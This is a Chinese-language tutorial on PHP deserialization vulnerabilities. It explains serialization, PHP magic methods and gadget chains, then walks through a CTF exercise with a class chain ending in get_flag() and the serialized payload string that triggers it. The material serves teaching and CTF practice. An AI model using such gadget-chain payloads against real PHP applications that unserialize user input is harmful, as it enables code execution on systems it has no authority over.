PHP反序列化漏洞分析与实操讲解
简介
- 序列化(
serialize()):将PHP对象压缩并按照一定格式转换成宇符串过程 - 反序列化(
unserialize()):从宇符串转换回PHP对象的过程 - 目的:为了
方便PHP对象的传输和存储
联想到电脑(diy)的栗子

- PS:主要用于
对象的持久化(将对象保存到磁盘上以便以后读取)或在不同系统之间传输对象。
序列化实例



反序列化攻击概述
unserialize接收的参数用户可控,传入构造的字符串,实现攻击- 只序列化
属性、不序列化方法属性名、属性值、访问控制权限都存在,但是方法消失
- 要寻找合适的能被我们
控制的属性,利用本身存在的方法
魔术方法
-
以_ _开头
-
(1)
construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。 -
(2)
wakeup():unserialize()时会自动调用. 当对象所包含的属性数<->不一致 -
(3)
destruct():当对象被销毁时会自动调用。 -
(4)
toString(): 当反序列化后的对象被输出在模板中的时候(转换成`字符串的时候)自动调用__construct()

__destruct()

__sleep()

__wakeup()

__toString()

__invoke()

__call()

反序列化中常用的魔术方法
__wakeup() //使用 unserialize 时触发
__sleep() //使用 serialize 时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callstatic () //在静态上下文中调用不可访问的方法时触发
__ construct()//当对象被创建(new)时会自动调用
__get() //用于从不可访问的属性读取数据
__set () //用于将数据写入不可访问的属性
__isset () //在不可访问的属性上调用 isset ()或 empty() 时触发
__unset () //在不可访问的属性上使用 unset () 时触发
__tostring() //把类当作字符串使用时触发
__invoke () //当脚本尝试将对象调用为函数时触发
反序列化攻击样例


-
Aurora对象的$test变量为一个Evil对象 -
Evil对象中的$test2变量为我们想要执行的系统命令 -
Aurora对象销毁时,调用destruct魔法函数,进而调用Evil的action函数,进而执行$test2中我们想要执行的系统命令 -
生成
Payload

Review


实战分析
- 靶机环境
CTF30小时训练营 实践题目
class allstart
{
public $var1;
public $var2;
public function __construct()
{
$this->var1 = new func1();
}
public function __destruct()
{
$this->var1->test1();
}
}
class func1
{
public $var1;
public $var2;
public function __construct()
{
$this->var1 = new func2();
}
public function test1()
{
$this->var1->test2();
}
}
class func2
{
//step3: func2->__call()->在`对象上下⽂`中调⽤不可访问的⽅法时触发
public $var1;
public $var2;
public function __construct()
{
$this->var1 = new func3();
}
public function __call($test2,$arr)
{
$s1 = $this->var1;
$s1();
}
}
class func3
{
//step3:func3->__invoke()->concat string
public $var1;
public $var2;
public function __construct()
{
$this->var1 = new func4();
}
// 尝试将对象`调⽤为函数时`触发
public function __invoke()
{
$this->var2 = "concat string".$this->var1;
}
}
class func4
{
// step2:func4->__tostring()->get_flag()
public $str1;
public $str2;
public function __construct()
{
$this->str1 = new toget();
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class toget
{
// step1: get_flag()
public function get_flag()
{
##echo "flag{***}";
}
}
$a=new allstart();
echo serialize($a);
answerO:8:"allstart":2:{s:4:"var1";O:5:"func1":2:{s:4:"var1";O:5:"func2":2:{s:4:"var1";O:5:"func3":2:{s:4:"var1";O:5:"func4":2:{s:4:"str1";O:5:"toget":0:{}s:4:"str2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}
- step
- 1.查看代码逻辑;
- 2.根据代码逻辑构造
payload;